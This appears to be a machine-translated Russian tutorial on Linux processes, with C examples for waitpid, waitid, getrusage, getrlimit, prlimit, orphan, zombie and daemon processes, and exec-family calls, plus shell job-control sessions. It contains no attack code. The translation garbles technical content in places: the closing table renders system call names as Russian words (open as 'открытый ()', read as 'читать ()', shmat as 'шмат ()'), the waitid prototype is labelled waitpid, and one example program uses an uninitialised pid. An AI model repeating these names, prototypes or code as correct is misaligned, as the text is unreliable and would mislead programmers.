4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 191762 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 191768 191762 0 05:47 ? 00:00:00 timeout 10s main
8023807 191769 191768 0 05:47 ? 00:00:00 main
8023807 191770 191769 0 05:47 ? 00:00:00 main
8023807 192193 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 192199 192193 0 05:47 ? 00:00:00 timeout 10s main
8023807 192200 192199 0 05:47 ? 00:00:00 main
8023807 192201 192200 0 05:47 ? 00:00:00 main
8023807 192202 192201 0 05:47 ? 00:00:00 ps -ef
Note- Несмотря на то, что дочерний процесс возвращает статус выхода 3, почему родительский процесс видит это как 768. Статус сохраняется в байте более высокого порядка, поэтому он сохраняется в шестнадцатеричном формате как 0X0300, что составляет 768 в десятичном виде. Нормальное завершение выглядит следующим образом
Байт высшего порядка (биты с 8 по 15) | Байт младшего разряда (биты с 0 по 7) |
Статус выхода (от 0 до 255) | 0 |
Системный вызов wait () имеет ограничение, например, он может ждать только до выхода следующего дочернего элемента. Если нам нужно дождаться определенного потомка, использовать wait () невозможно, однако можно использовать системный вызов waitpid ().
Системный вызов waitpid () будет ждать завершения указанных дочерних элементов и возвращать статус завершения в буфере, как описано ниже.
#include <sys/types.h>
#include <sys/wait.h>
pid_t waitpid(pid_t pid, int *status, int options);
Вышеупомянутый вызов возвращает идентификатор процесса завершенного дочернего процесса в случае успеха и -1 в случае неудачи. Системный вызов waitpid () приостанавливает выполнение текущего процесса и ожидает бесконечно, пока не завершатся указанные дочерние элементы (согласно значению pid). Статус завершения от ребенка доступен в статусе.
Значение pid может быть одним из следующих:
< -1 - Дождитесь появления любого дочернего процесса, идентификатор группы процессов которого равен абсолютному значению pid.
-1 - Дождитесь любого дочернего процесса, который соответствует системному вызову wait ().
0 - Дождитесь появления любого дочернего процесса, идентификатор группы процессов которого совпадает с идентификатором вызывающего процесса.
>0 - Дождитесь появления любого дочернего процесса, идентификатор процесса которого равен значению pid.
По умолчанию системный вызов waitpid () ожидает только завершенных дочерних элементов, но это поведение по умолчанию можно изменить с помощью аргумента options.
Теперь давайте рассмотрим программу в качестве примера, ожидающую определенного процесса с его идентификатором процесса.
/ * Имя файла: waitpid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 4;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
waitpid(pids[total_processes - 1], &status, 0);
if (WIFEXITED(status) != 0) {
printf("process %d exited normally\n", pids[total_processes - 1]);
printf("exit status from child is %d\n", WEXITSTATUS(status));
} else {
printf("process %d not exited normally\n", pids[total_processes - 1]);
}
return 0;
}
После компиляции и выполнения следующий результат.
In child process: process id is 32528
In parent process: created process number: 32528
In child process: process id is 32529
In parent process: created process number: 32528
In parent process: created process number: 32529
In child process: process id is 32530
In parent process: created process number: 32528
In parent process: created process number: 32529
In parent process: created process number: 32530
process 32530 exited normally
exit status from child is 4
Теперь давайте проверим системный вызов waitid (). Этот системный вызов ожидает изменения состояния дочерним процессом.
#include <sys/wait.h>
int waitpid(idtype_t idtype, id_t id, siginfo_t *infop, int options);
Вышеупомянутый системный вызов ожидает, пока дочерний процесс изменит состояние, и этот вызов приостанавливает текущий / вызывающий процесс до тех пор, пока любой из его дочерних процессов не изменит свое состояние. Аргумент infop предназначен для записи текущего состояния дочернего элемента. Этот вызов немедленно возвращается, если процесс уже изменил свое состояние.
Значение idtype может быть одним из следующих:
P_PID - Дождитесь появления любого дочернего процесса, идентификатор процесса которого совпадает с идентификатором id.
P_PGID - Дождитесь появления любого дочернего процесса, идентификатор группы процессов которого совпадает с идентификатором id.
P_ALL - Дождитесь появления любого дочернего процесса, идентификатор игнорируется.
Аргумент options должен указать, какое состояние изменяется, и это может быть сформировано с помощью операции побитового ИЛИ с указанными ниже флагами:
WCONTINUED - Возвращает статус любого дочернего элемента, который был остановлен и был продолжен.
WEXITED - Ожидает завершения процесса.
WNOHANG - Немедленно возвращается.
WSTOPPED - Ожидает завершения любого дочернего процесса при получении сигнала и возвращает статус.
Этот вызов возвращает 0, если он возвращается из-за изменения состояния одного из его дочерних элементов и используется WNOHANG. Он возвращает –1 в случае ошибки и устанавливает соответствующий номер ошибки.
/ * Имя файла: waitid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
siginfo_t siginfo;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 2;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
status = waitid(P_PID, pids[total_processes - 1], &siginfo, WEXITED);
if (status == -1) {
perror("waitid error");
return 1;
}
printf("Info received from waitid is: ");
printf("PID of child: %d, real user id of child: %d\n", siginfo.si_pid, siginfo.si_uid);
return 0;
}
После выполнения и компиляции вышеуказанной программы результат будет следующим.
In child process: process id is 35390
In parent process: created process number: 35390
In child process: process id is 35391
In parent process: created process number: 35390
In parent process: created process number: 35391
In child process: process id is 35392
In parent process: created process number: 35390
In parent process: created process number: 35391
In parent process: created process number: 35392
Info received from waitid is: PID of child: 35392, real user id of child: 4581875
В этой главе мы познакомимся с группами процессов, сеансами и управлением заданиями.
Process Group- Группа процессов - это совокупность одного или нескольких процессов. Группа процессов состоит из одного или нескольких процессов, имеющих один и тот же идентификатор группы процессов (PGID). Идентификатор группы процессов (PGID) имеет тот же тип (pid_t), что и идентификатор процесса. У группы процессов есть лидер группы процессов, то есть процесс, который создает группу, и чей идентификатор процесса становится идентификатором группы процессов группы.
Sessions - Это совокупность различных групп процессов.
Job Control- Это позволяет пользователю оболочки одновременно выполнять несколько команд (или заданий), одну на переднем плане, а все остальные в фоновом режиме. Также возможно переместить задания с переднего плана на задний план и наоборот.
Давайте разберемся в этом с помощью примеров программ, использующих оболочку (BASH).
Сценарий оболочки (в BASH) для выполнения основных команд (date, echo, sleep и cal) с именем basic_commands.sh
Сценарий оболочки (в BASH) для выполнения основных команд (ps, echo)
#!/bin/bash
#basic_commands.sh
date
echo "Now sleeping for 250 seconds, so that testing job control functionality is smooth"
sleep 250
cal
#!/bin/bash
#process_status.sh
ps
echo "Now sleeping for 200 seconds, so that testing job control functionality is smooth"
sleep 200
ps
Используйте команду chmod, чтобы дать файлу права на выполнение. По умолчанию обычный файл получит только права на чтение и запись, но не на выполнение.
Чтобы остановить текущий запущенный процесс, нужно ввести CTRL + Z. Это даст вам номер работы. Работа может быть возобновлена как на переднем, так и на заднем плане. При необходимости, чтобы возобновить работу на переднем плане, используйте команду 'fg'. При необходимости, чтобы возобновить работу в фоновом режиме, используйте команду «bg». Используя это, он будет запускать только последний остановленный процесс. Что делать, если вы хотите запустить процесс, отличный от последнего остановленного? Просто используйте номер задания после fg или bg (скажем, bg% 2 или bg% 3 и т. Д.). Если запущенное задание находится в фоновом режиме, вы можете выполнять любые другие задачи на переднем плане. Чтобы получить список вакансий, используйте команду jobs. Также можно завершить процесс с помощью CTRL + C или команды kill. Вы можете передать номер задания, используя команду kill.
Проверьте следующий вывод, который демонстрирует остановку заданий, перемещение заданий с переднего плана на фон и наоборот, завершение заданий и т. Д.
chmod u+x basic_commands.sh
chmod u+x process_status.sh
./basic_commands.sh
Wed Jul 5 18:30:27 IST 2017
Now sleeping for 250 seconds, so that testing job control functionality is smooth
^Z
[1]+ Stopped ./basic_commands.sh
./process_status.sh
PID TTY TIME CMD
2295 pts/1 00:00:00 bash
4222 pts/1 00:00:00 basic_commands.
4224 pts/1 00:00:00 sleep
4225 pts/1 00:00:00 process_status.
4226 pts/1 00:00:00 ps
Now sleeping for 200 seconds, so that testing job control functionality is smooth
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
fg
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %1
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Stopped ./process_status.sh
bg %2
[2]- ./process_status.sh &
fg
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Running ./process_status.sh &
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
kill %1 %2
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
[1]- Terminated ./basic_commands.sh
[2]+ Terminated ./process_status.sh
Для выполнения задач процессу требуются определенные ресурсы, такие как ЦП и память. Теперь мы рассмотрим соответствующие команды и системные вызовы, чтобы узнать информацию об использовании ресурсов и мониторинге. Также существуют определенные ограничения по умолчанию для каждого процесса на ресурсах, и при необходимости ограничения могут быть расширены в соответствии с требованиями приложения.
Ниже приводится основная информация о ресурсах системы или процесса с использованием команд.
Высшая команда
$ top
Команда top постоянно отображает использование системных ресурсов. Если какой-либо процесс переводит систему в какое-либо состояние зависания (потребляет больше ресурсов ЦП или памяти), можно записать информацию о процессе и предпринять соответствующие действия (например, убить связанный процесс).
Команда ps
$ ps
Команда ps предоставляет информацию обо всех запущенных процессах. Это помогает отслеживать и контролировать процессы.
Команда vmstat
$ vmstat
Команда vmstat сообщает статистику подсистемы виртуальной памяти. Он сообщает информацию о процессах (ожидающие запуска, спящие, выполняемые процессы и т. Д.), Памяти (информация о виртуальной памяти, такая как свободная, используемая и т. Д.), Области подкачки, устройствах ввода-вывода, системной информации (количество прерываний, переключение контекста ) и ЦП (пользователь, система и время простоя).
Команда lsof
$ lsof
Команда lsof печатает список открытых файлов всех текущих запущенных процессов, включая системные процессы.
Команда getconf
$ getconf –a
Команда getconf отображает информацию о переменных конфигурации системы.
Теперь давайте посмотрим на связанные системные вызовы.
Системный вызов getrusage (), который предоставляет информацию об использовании системных ресурсов.
Системные вызовы, связанные с доступом и установкой ограничений ресурсов, а именно, getrlimit (), setrlimit (), prlimit ().
Вызов об использовании системных ресурсов
#include <sys/time.h>
#include <sys/resource.h>
int getrusage(int who, struct rusage *usage);
Системный вызов getrusage () возвращает информацию об использовании системных ресурсов. Это может включать информацию о себе, потомках или вызывающем потоке с использованием флагов RUSAGE_SELF, RUSAGE_CHILDREN, RUSAGE_THREAD для переменной «кто». После вызова возвращает информацию в структуре rusage.
Этот вызов вернет «0» в случае успеха и «-1» в случае неудачи.
Давайте посмотрим на следующую примерную программу.
/ * Имя файла: sysinfo_getrusage.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rusage res_usage;
int retval;
retval = getrusage(RUSAGE_SELF, &res_usage);
if (retval == -1) {
perror("getrusage error");
return;
}
printf("Details of getrusage:\n");
printf("User CPU time (seconds) is %d\n", (int)res_usage.ru_utime.tv_sec);
printf("User CPU time (micro seconds) is %d\n", (int)res_usage.ru_utime.tv_usec);
printf("Maximum size of resident set (kb) is %ld\n", res_usage.ru_maxrss);
printf("Soft page faults (I/O not required) is %ld\n", res_usage.ru_minflt);
printf("Hard page faults (I/O not required) is %ld\n", res_usage.ru_majflt);
printf("Block input operations via file system is %ld\n", res_usage.ru_inblock);
printf("Block output operations via file system is %ld\n", res_usage.ru_oublock);
printf("Voluntary context switches are %ld\n", res_usage.ru_nvcsw);
printf("Involuntary context switches are %ld\n", res_usage.ru_nivcsw);
return;
}
Этапы компиляции и выполнения
Details of getrusage:
User CPU time (seconds) is 0
User CPU time (micro seconds) is 0
Maximum size of resident set (kb) is 364
Soft page faults (I/O not required) is 137
Hard page faults (I/O not required) is 0
Block input operations via file system is 0
Block output operations via file system is 0
Voluntary context switches are 0
Involuntary context switches are 1
Давайте теперь посмотрим на системные вызовы, связанные с доступом и установкой ограничений ресурсов.
#include <sys/time.h>
#include <sys/resource.h>
int getrlimit(int resource, struct rlimit *rlim);
int setrlimit(int resource, const struct rlimit *rlim);
int prlimit(pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit);
Системный вызов getrlimit() получает ограничения ресурсов в структуре rlimit путем ввода необходимого ресурса, такого как RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK и т. д.
Системный вызов setrlimit() устанавливает лимиты ресурсов, как указано в структуре rlimit, насколько это возможно.
Системный вызов prlimit() используется для различных целей, например, для получения текущих ограничений ресурсов или для обновления ограничений ресурсов до новых значений.
Структура rlimit содержит два значения -
Soft limit - Текущий предел
Hard limit - Максимальный предел, до которого он может быть увеличен.
RLIMIT_NOFILE
RLIMIT_NPROC - Максимальное количество процессов, которое может быть создано для пользователя этого процесса.
RLIMIT_STACK - Максимальный размер сегмента стека в байтах для этого процесса.
Все эти вызовы возвращают «0» в случае успеха и «-1» в случае неудачи.
Давайте рассмотрим следующий пример, в котором мы используем системный вызов getrlimit ().
/ * Имя файла: sysinfo_getrlimit.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = getrlimit(resources[counter], &res_limit);
if (retval == -1) {
perror("getrlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Этапы компиляции и выполнения
Details of resource limits for NOFILE, NPROC, STACK are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
Давайте рассмотрим другой пример с системным вызовом getrlimit (), но теперь с системным вызовом prlimit ().
/ * Имя файла: sysinfo_prlimit.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = prlimit(getpid(), resources[counter], NULL, &res_limit);
if (retval == -1) {
perror("prlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Этапы компиляции и выполнения
Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
До сих пор мы обсуждали процессы, их создание, родительские и дочерние процессы и т. Д. Обсуждение будет неполным без обсуждения других связанных процессов, таких как процесс-сирота, процесс-зомби и процесс-демон.
Сиротский процесс
Как видно из названия, сирота подразумевает процесс без родителей. Когда мы запускаем программу или приложение, родительским процессом для приложения является оболочка. Когда мы создаем процесс с помощью fork (), вновь созданный процесс является дочерним процессом, а процесс, создавший дочерний процесс, является родительским процессом. В свою очередь, его родительский процесс - оболочка. Конечно, родителем всех процессов является процесс init (ID процесса → 1).
Однако приведенный выше сценарий является обычным, что происходит, если родительский процесс завершается раньше, чем дочерний процесс. В результате дочерний процесс теперь становится сиротским процессом. Тогда что насчет его родителя, его новый родительский элемент является родителем всех процессов, который представляет собой не что иное, как процесс инициализации (идентификатор процесса - 1).
Попробуем разобраться в этом на следующем примере.
/ * Имя файла: orphan_process.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
system("ps -f");
pid = fork();
if (pid == 0) {
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(5);
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
system("ps -f");
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(2);
exit(0);
}
return 0;
}
Этапы компиляции и выполнения
UID PID PPID C STIME TTY TIME CMD
4581875 180558 0 0 09:19 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 180564 180558 0 09:19 ? 00:00:00 timeout 10s main
4581875 180565 180564 0 09:19 ? 00:00:00 main
4581875 180566 180565 0 09:19 ? 00:00:00 ps -f
Parent: pid is 180565 and ppid is 180564
UID PID PPID C STIME TTY TIME CMD
4581875 180567 0 0 09:19 ? 00:00:00 main
4581875 180820 180567 0 09:19 ? 00:00:00 ps -f
Child: pid is 180567 and ppid is 180565
Child: pid is 180567 and ppid is 0
Зомби-процесс
Проще говоря, предположим, что у вас есть два процесса, а именно родительский и дочерний процесс. Родительский процесс должен дождаться дочернего процесса и затем очистить запись дочернего процесса из таблицы процессов. Что делать, если родительский процесс не готов ждать дочернего процесса, а тем временем дочерний процесс выполняет свою работу и завершает работу? Теперь дочерний процесс станет зомби-процессом. Конечно, процесс зомби очищается после того, как родительский процесс будет готов.
Разберемся в этом на примере.
/ * Имя файла: zombie_process.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
pid = fork();
if (pid == 0) {
system("ps -f");
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
exit(0);
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(10);
system("ps aux|grep Z");
}
return 0;
}
Этапы компиляции и выполнения
UID PID PPID C STIME TTY TIME CMD
4581875 184946 0 0 09:20 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 184952 184946 0 09:20 ? 00:00:00 timeout 10s main
4581875 184953 184952 0 09:20 ? 00:00:00 main
4581875 184954 184953 0 09:20 ? 00:00:00 main
4581875 184955 184954 0 09:20 ? 00:00:00 ps -f
Child: pid is 184954 and ppid is 184953
Демонический процесс
Проще говоря, процесс, который не имеет связанной оболочки или терминала, известен как процесс-демон. Зачем это нужно? Это процессы, которые выполняются в фоновом режиме для выполнения действий с заранее заданными интервалами, а также реагируют на определенные события. Процесс-демон не должен взаимодействовать с пользователем, поскольку он работает в фоновом режиме.
Внутренние процессы демона Linux обычно оканчиваются буквой «d», например, Демоны ядра (ksoftirqd, kblockd, kswapd и т. Д.), Демоны печати (cupsd, lpd и т. Д.), Демоны файловых служб (smbd, nmbd и т. Д.) , Демоны административной базы данных (ypbind, ypserv и т. Д.), Демоны электронной почты (sendmail, popd, smtpd и т. Д.), Демоны удаленного входа и выполнения команд (sshd, in.telnetd и т. Д.), Демоны загрузки и настройки (dhcpd , udevd и т. д.), процесс инициализации (init), демон cron, демон atd и т. д.
Теперь давайте посмотрим, как создать процесс-демон. Ниже приведены шаги -
Step 1- Создайте дочерний процесс. Теперь у нас есть два процесса - родительский и дочерний.
Обычно иерархия процессов: ОБОЛОЧКА → РОДИТЕЛЬСКИЙ ПРОЦЕСС → ДЕТСКИЙ ПРОЦЕСС.
Step 2- Завершить родительский процесс путем выхода. Дочерний процесс теперь становится сиротским процессом и переходит к процессу init.
Теперь иерархия - НАЧАЛО ПРОЦЕССА → ДЕТСКИЙ ПРОЦЕСС.
Step 3- Вызов системного вызова setsid () создает новый сеанс, если вызывающий процесс не является лидером группы процессов. Теперь вызывающий процесс становится лидером группы нового сеанса. Этот процесс будет единственным процессом в этой новой группе процессов и в этом новом сеансе.
Step 4 - Установите идентификатор группы процессов и идентификатор сеанса равным PID вызывающего процесса.
Step 5 - Закройте файловые дескрипторы по умолчанию (стандартный ввод, стандартный вывод и стандартная ошибка) процесса, поскольку терминал и оболочка теперь отключены от приложения.
/ * Имя файла: daemon_test.c * /
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<unistd.h>
#include<fcntl.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char *argv[]) {
pid_t pid;
int counter;
int fd;
int max_iterations;
char buffer[100];
if (argc < 2)
max_iterations = 5;
else {
max_iterations = atoi(argv[1]);
if ( (max_iterations <= 0) || (max_iterations > 20) )
max_iterations = 10;
}
pid = fork();
// Unable to create child process
if (pid < 0) {
perror("fork error\n");
exit(1);
}
// Child process
if (pid == 0) {
fd = open("/tmp/DAEMON.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644);
if (fd == -1) {
perror("daemon txt file open error\n");
return 1;
}
printf("Child: pid is %d and ppid is %d\n", getpid(), getppid());
printf("\nChild process before becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
setsid();
printf("\nChild process after becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
} else {
printf("Parent: pid is %d and ppid is %d\n", getpid(), getppid());
printf("Parent: Exiting\n");
exit(0);
}
// Executing max_iteration times
for (counter = 0; counter < max_iterations; counter++) {
sprintf(buffer, "Daemon process: pid is %d and ppid is %d\n", getpid(), getppid());
write(fd, buffer, strlen(buffer));
sleep(2);
}
strcpy(buffer, "Done\n");
write(fd, buffer, strlen(buffer));
// Can't print this as file descriptors are already closed
printf("DoneDone\n");
close(fd);
return 0;
}
Parent: pid is 193524 and ppid is 193523
Parent: Exiting
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193526 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193528 193526 0 09:23 ? 00:00:00 grep main
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193529 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193531 193529 0 09:23 ? 00:00:00 grep main
Предположим, что мы запускаем программу и хотим запустить другую программу из текущей программы. Это возможно? Почему бы и нет, если мы реализуем концепцию наложения образа процесса. Это нормально, но как насчет текущей запущенной программы, можно ли ее запустить. Как это возможно, раз уж мы наложили текущую программу на новую. Что делать, если я хочу запустить обе программы без потери текущей запущенной программы, возможно ли это? Да, это возможно.
Создайте дочерний процесс, чтобы у нас были родительский процесс и только что созданный дочерний процесс. Мы уже запускаем текущую программу в родительском процессе, поэтому запустите вновь созданный процесс в дочернем процессе. Таким образом, мы можем запустить другую программу из текущей программы. Не только одну программу, но мы можем запускать любое количество программ из текущей программы, создав такое количество дочерних процессов.
Рассмотрим в качестве примера следующую программу.
/ * Имя файла: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
/ * Имя файла: execl_test.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
return;
}
Вышеупомянутая программа перекрывала бы образ процесса execl_test с helloworld. По этой причине код образа процесса execl_test (printf ()) не выполняется.
Этапы компиляции и выполнения
Hello World
Теперь мы запустим следующие две программы из одной программы, то есть execl_run_two_prgms.c.
Программа Hello World (helloworld.c)
Программа цикла while для печати от 1 до 10 (while_loop.c)
/ * Имя файла: while_loop.c * /
/* Prints numbers from 1 to 10 using while loop */
#include<stdio.h>
void main() {
int value = 1;
while (value <= 10) {
printf("%d\t", value);
value++;
}
printf("\n");
return;
}
Ниже приведена программа для запуска двух программ (одна программа от дочернего элемента, а другая - от родительского).
/ * Имя файла: execl_run_two_prgms.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
int pid;
pid = fork();
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)0);
printf("Won't reach here\n");
}
return;
}
Note - Разместите вызов sleep (), чтобы дочерний и родительский процессы выполнялись последовательно (не перекрывая результат).
Этапы компиляции и выполнения
Child process: Running Hello World Program
This wouldn't print
Parent process: Running While loop Program
Won't reach here
Теперь мы будем запускать две программы из одной программы, т.е. execl_run_two_prgms.c, ту же программу, что и выше, но с аргументами командной строки. Итак, мы запускаем две программы, а именно helloworld.c в дочернем процессе и программу while_loop.c в родительском процессе. Это выглядит следующим образом -
Программа Hello World (helloworld.c)
Программа цикла while для печати от 1 до num_times_str в соответствии с аргументами командной строки (while_loop.c)
Эта программа широко выполняет следующие действия -
Создает дочерний процесс
Дочерний процесс выполняет программу helloworld.c
Родительский процесс выполняет программу while_loop.c, передавая значение аргумента командной строки в качестве аргумента программе. Если аргументы командной строки не переданы, то по умолчанию принимается значение 10. В противном случае принимается заданное значение аргумента. Значение аргумента должно быть числовым; код не будет проверяться, если он указан в алфавитах.
/ * Имя файла: execl_run_two_prgms.c * /
#include<stdio.h>
#include<string.h>
#include<unistd.h>
void main(int argc, char *argv[0]) {
int pid;
int err;
int num_times;
char num_times_str[5];
/* In no command line arguments are passed, then loop maximum count taken as 10 */
if (argc == 1) {
printf("Taken loop maximum as 10\n");
num_times = 10;
sprintf(num_times_str, "%d", num_times);
} else {
strcpy(num_times_str, argv[1]);
printf("num_times_str is %s\n", num_times_str);
pid = fork();
}
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
err = execl("./helloworld", "./helloworld", (char *)0);
printf("Error %d\n", err);
perror("Execl error: ");
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)num_times_str, (char *)0);
printf("Won't reach here\n");
}
return;
}
Ниже приведена программа helloworld.c, вызываемая из дочернего процесса программы execl_run_two_prgms.c.
/ * Имя файла: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
Ниже приводится программа while_loop.c, вызываемая из родительского процесса программы execl_run_two_prgms.c. Аргумент этой программе передается из программы, которая ее запускает, то есть execl_run_two_prgms.c.
/ * Имя файла: while_loop.c * /
#include<stdio.h>
void main(int argc, char *argv[]) {
int start_value = 1;
int end_value;
if (argc == 1)
end_value = 10;
else
end_value = atoi(argv[1]);
printf("Argv[1] is %s\n", argv[1]);
while (start_value <= end_value) {
printf("%d\t", start_value);
start_value++;
}
printf("\n");
return;
}
Этапы компиляции и выполнения
Taken loop maximum as 10
num_times_str is 10
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 10
1 2 3 4 5 6 7 8 9 10
Taken loop maximum as 15
num_times_str is 15
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Давайте теперь посмотрим на функции библиотеки, связанные с наложением изображений.
#include<unistd.h>
int execl(const char *path, const char *arg, ...);
Эта функция будет перекрывать текущий образ запущенного процесса с новым процессом, как указано в аргументах, пути и arg. Если какой-либо аргумент необходимо передать новому образу процесса, он будет отправлен через аргументы «arg», и последний аргумент должен иметь значение NULL.
Эта функция вернет значение только в случае ошибки. Процесс наложения вызовов, связанных с изображением, упомянут ниже -
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[], char *const envp[]);
Эти вызовы будут адресовать передаваемые аргументы командной строки (argv []), переменные среды (envp []) и другие параметры.
В следующей таблице перечислены различные системные вызовы вместе с их описанием.
Категория | Системный вызов | Описание |
---|---|---|
генеральный | открытый () | Этот системный вызов либо открывает уже существующий файл, либо создает и открывает новый файл. |
генеральный | creat () | Создает и открывает новый файл. |
генеральный | читать () | Читает содержимое файла в требуемый буфер. |
генеральный | записывать () | Записывает содержимое буфера в файл. |
генеральный | Закрыть () | Закрывает файловый дескриптор. |
генеральный | stat () | Предоставляет информацию о файле. |
Трубы | труба () | Создает канал для связи, который возвращает два файловых дескриптора для чтения и записи. |
Именованные каналы или ФИФО | mknod () | Создает файл устройства памяти или специальный файл для создания FIFO |
Именованные каналы или ФИФО | mkfifo () | Создает новый FIFO |
Общая память | shmget () | Создает новый сегмент разделяемой памяти или получает идентификатор существующего сегмента. |
Общая память | шмат () | Присоединяет сегмент разделяемой памяти и делает сегмент частью виртуальной памяти вызывающего процесса. |
Общая память | shmdt () | Отсоединяет сегмент общей памяти. |
Общая память | shmctl () | Выполняет операции управления для общей памяти. Некоторые из общих операций управления для общей памяти - это удаление сегмента общей памяти (IPC_RMID), получение информации об общей памяти (IPC_STAT) и обновление новых значений существующей общей памяти (IPC_SET). |
Очереди сообщений | msgget () | Создает новую очередь сообщений или обращается к уже существующей очереди сообщений и получает дескриптор или идентификатор для выполнения операций в отношении очереди сообщений, таких как отправка сообщения / сообщений в очередь и получение сообщения / сообщений из очереди. |
Очереди сообщений | msgsnd () | Отправляет сообщение в требуемую очередь сообщений с требуемым идентификационным номером. |
Очереди сообщений | msgrcv () | Получает сообщение из очереди сообщений. По умолчанию это операция бесконечного ожидания, что означает, что вызов будет заблокирован до тех пор, пока он не получит сообщение. |
Очереди сообщений | msgctl () | Выполняет управляющие операции для очереди сообщений. Некоторые из общих операций управления для очереди сообщений - это удаление очереди сообщений (IPC_RMID), получение информации об очереди сообщений (IPC_STAT) и обновление новых значений существующей очереди сообщений (IPC_SET). |
